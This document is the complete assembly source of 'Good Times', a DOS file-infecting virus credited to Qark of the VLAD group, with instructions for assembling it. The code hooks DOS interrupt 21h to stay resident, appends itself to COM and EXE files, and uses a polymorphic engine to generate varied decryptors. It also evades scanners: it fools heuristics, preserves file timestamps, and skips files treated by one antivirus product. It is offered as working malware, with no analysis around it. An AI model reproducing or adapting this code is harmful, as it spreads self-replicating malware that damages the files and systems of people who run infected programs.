;
; Good Times
; by
; Qark [VLAD]
;
; Infects COM files between 60000 and 1024 bytes in size. It traverses the
; file by following any jumps/calls at the immediate start, and writes a call
; to the main virus body there.
; Infects EXE files in the standard manner. Won't infect Win EXE files,
; EXE files without FFFF in the maxmem field and EXE files that use overlays.
;
; It is polymorphic because it uses RHINCE to generate random length
; decryptors.
;
; Also...
; The act of loading the file into a mail server's ASCII
; buffer causes the "Good Times" mainline program to
; initialize and execute.
;
; Remember to email all your friends, warning them about Good Times!
;
; To assemble the virus, you will require a86, and the source to RHINCE.
; The RHINCE source needs to be named 'rhince.inc' and the label 'polycode'
; must be removed from it.
;
org 0
mov bp,sp
call next ;IP onto the stack
next:
mov si,[bp-2] ;SI=delta+offset next
sub si,offset next ;SI=delta
lea ax,word ptr [si+offset next_ret] ;AX=offset next_ret
mov [bp-2],ax ;We will RET to next_ret now.
ret
next_ret:
cld
push ds
mov ax,3d76h
int 21h
cmp ax,763dh
je resident
mov ax,ds
dec ax
mov ds,ax
xor di,di
cmp byte ptr [di],'Y'
jbe resident
sub word ptr [di+3],(offset stack_end /16) + 1
sub word ptr [di+12h],(offset stack_end /16) + 1
mov ax,word ptr [di+12h]
mov es,ax
push cs
pop ds
mov cx,offset end_virus
push si
rep movsb
mov ds,cx ;CX=0 from the rep movsb
mov si,21h*4
mov di,offset i21
movsw
movsw
mov word ptr [si-4],offset int21handler
mov word ptr [si-2],es
pop si
resident:
pop ds
push ds
pop es
cmp byte ptr cs:[si+offset com_exe],1
je exe_exit
db 0bfh ;MOV DI,xxxx
ret_point dw 100h
sub word ptr [bp],3 ;Convert the original call.
add si,offset old4
movsw
movsw
ret
exe_exit:
mov ax,ds ;AX=DS=PSP
add ax,10h ;Point to start of executable code.
add word ptr cs:[si+offset jump+2],ax ;Fix CS
;Restore SS:SP
mov sp,word ptr cs:[si+offset orig_sp]
add ax,word ptr cs:[si+offset orig_ss]
mov ss,ax
jmp $+2 ;Clear prefetch.
db 0eah ;Far jump
jump dd 0 ;CS:IP from EXE header.
orig_sp dw 0
orig_ss dw 0
com_exe db 0 ;COM = 0 EXE = 1
db ' Good Times by Qark/VLAD '
int21handler:
push ax
xchg ah,al
cmp al,3dh
je res_test
cmp al,43h
je infect
cmp al,4bh
je infect
cmp al,56h
je infect
pop_exit:
pop ax
jend:
db 0eah ;JMP orig21
i21 dd 0
res_test:
cmp ah,76h ;Check for our little res test.
jne infect
inc sp ;AX is on the stack.
inc sp
iret
infect:
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov si,dx
cld
find_dot:
lodsb
cmp al,'.'
jne find_dot
lodsb ;Load AL with the first letter of the ext.
;I only check the first letter of the file name, but that doesn't
;concern me because I check for the MZ/ZM or look for a E9 otherwise.
cmp al,'C'
je ok_name
cmp al,'E'
je ok_name
cmp al,'c'
je ok_name
cmp al,'e'
je ok_name
iipop_exit:
jmp ipop_exit
ok_name:
;call test_name
mov ax,3d02h
call int21h
jc iipop_exit
xchg bx,ax ;File handle into BX
push cs
pop ds ;DS=CS
push cs
pop es ;ES=CS
mov ah,3fh
mov dx,offset old4
mov si,dx ;SI=Offset end_virus
mov cx,1ch
call int21h
mov ax,word ptr [si]
or ax,2020h ;Convert to lowercase for anti
;heuristics.
cmp ax,'mz'
je exe_infect
cmp ax,'zm'
je exe_infect
jmp com_infect
eclose:
jmp close_exit
exe_infect:
cmp word ptr [si+1ah],0 ;Don't infect overlays.
jne eclose
cmp word ptr [si+18h],40h ;Don't infect windows executables.
jae eclose
;If total memory isn't allocated, don't
cmp word ptr [si+0ch],0ffffh ;infect.
jne eclose
cmp word ptr [si+12h],'BV' ;When 'Virus Buster' generically
je eclose ;restores EXE files, it leaves this
;signature in the checksum, which
;is handy for us because it means:
;A) we don't infect the files of
;a person who uses scanners, and
;B) AVers can't use it as part of
;a signature.
mov byte ptr com_exe,1 ;Signal EXE file.
mov ax,word ptr [si+0eh]
mov word ptr orig_ss,ax
mov ax,word ptr [si+10h]
mov word ptr orig_sp,ax ;Saved the SS:SP
push si
add si,14h
mov di,offset jump
movsw
movsw ;Saved the CS:IP
pop si
call lseek_end
;File length is in DX:AX
mov cx,16
div cx ;Paragraphs.
sub ax,word ptr [si+8] ;Subtract header size.
mov word ptr [si+14h],dx ;IP into header
mov word ptr [si+16h],ax ;CS into header
push dx
add dx,offset stack_end
dec ax
mov word ptr [si+0eh],ax ;We'll make SS=CS-1
mov word ptr [si+10h],dx ;SP=IP+stack_end
and dx,0fffeh
pop bp
mov cx,offset end_virus
xor dx,dx
push bx
push si
call mut_eng
pop si
pop bx
call save_time
mov ah,40h
call int21h
jc close_exit
call lseek_end
;File length into DX:AX
mov cx,512 ;Page size.
div cx
or dx,dx
jz no_page_fix
inc ax ;Add the last partial page.
no_page_fix:
mov word ptr [si+4],ax ;Number of pages
mov word ptr [si+2],dx ;Partial page.
call lseek_start
mov word ptr [si+12h],'BV' ;Our marker.
mov ah,40h ;Write header.
mov dx,si
mov cx,1ch
call int21h
call restore_time
close_exit:
mov ah,3eh
call int21h
ipop_exit:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
jmp pop_exit
com_infect:
mov byte ptr com_exe,0 ;Signal COM infection.
mov word ptr filepointer,0 ;Point to start of the file.
recurse_entry:
mov al,byte ptr [si]
cmp al,0e9h ;JMP instruction
je chk_entry
cmp al,0e8h ;CALL instruction
je chk_entry
cmp al,0ebh ;JMP 'short' instruction
jne write_virus
mov al,byte ptr [si+1]
add al,2
cbw
jmp short smalljmp
chk_entry:
mov ax,word ptr [si+1] ;Jump distance.
add ax,3
smalljmp:
add ax,word ptr filepointer
mov word ptr filepointer,ax
push ax
add ax,100h ;Calculate where to return stuff to.
mov word ptr ret_point,ax
pop dx
mov al,0
push dx
call lseek
mov dx,offset old4 ;Read the original bytes there.
mov cx,4
mov ah,3fh
call int21h
pop dx
mov al,0
call lseek ;Lseek back there.
cmp byte ptr old4 + 3,'H' ;Check if its already infected.
jne recurse_entry
jmp closejmp ;Must be infected...
write_virus:
call lseek_end
or dx,dx
jnz close_exit
cmp ax,60000
ja close_exit
cmp ax,1024
jb close_exit
xchg dx,ax ;File size into DX
mov ax,word ptr filepointer ;Where the jump goes to.
add ax,3 ;Jumps are 3 bytes.
sub dx,ax ;Calculate new jump offset.
mov word ptr new_jump+1,dx ;Move it.
sub ax,3 ;This is the physical disk position.
mov dx,ax
mov al,0
call lseek ;Lseek to the jump entry.
call save_time
mov cx,4 ;Write the new jump. (a call :)
mov dx,offset new_jump
mov ah,40h
call int21h
jc closejmp
call lseek_end
add ax,100h
mov cx,offset end_virus
mov bp,ax
xor dx,dx
push bx
call mut_eng
pop bx
mov ah,40h
;mov cx,offset end_virus
;xor dx,dx
call int21h
call restore_time
closejmp:
jmp close_exit
;----------------------------------------
int21h: ;Simulated int 21 call.
pushf
call dword ptr cs:i21
ret
;----------------------------------------
Lseek_End: ;Lseek to the end.
mov al,2
jmp short lsk
Lseek_Start: ;Lseek to the start.
mov al,0
lsk:
xor dx,dx
Lseek: ;General Lseek.
xor cx,cx
mov ah,42h
call int21h
ret
;----------------------------------------
Save_Time:
push ax
push cx
push dx
mov ax,5700h
call int21h
mov word ptr time,cx
mov word ptr date,dx
pop dx
pop cx
pop ax
ret
;----------------------------------------
Restore_Time:
push ax
push cx
push dx
db 0bah ;MOV DX,xxxx
date dw 0
db 0b9h ;MOV CX,xxxx
time dw 0
mov ax,5701h
call int21h
pop dx
pop cx
pop ax
ret
;----------------------------------------
include rhince.inc ;Rhince's polymorphic engine.
new_jump db 0e8h,0,0,'H' ;Actually its a CALL.
filepointer dw 0
old4 db 0cdh,20h,0,0
end_virus:
db 1ch dup (0)
polycode: ;Rhince needs this here.
db 500 dup (0) ;Make some room for rhince.
dup_size equ offset end_virus
db dup_size dup (0)
stack_end:
- VLAD #4 INDEX -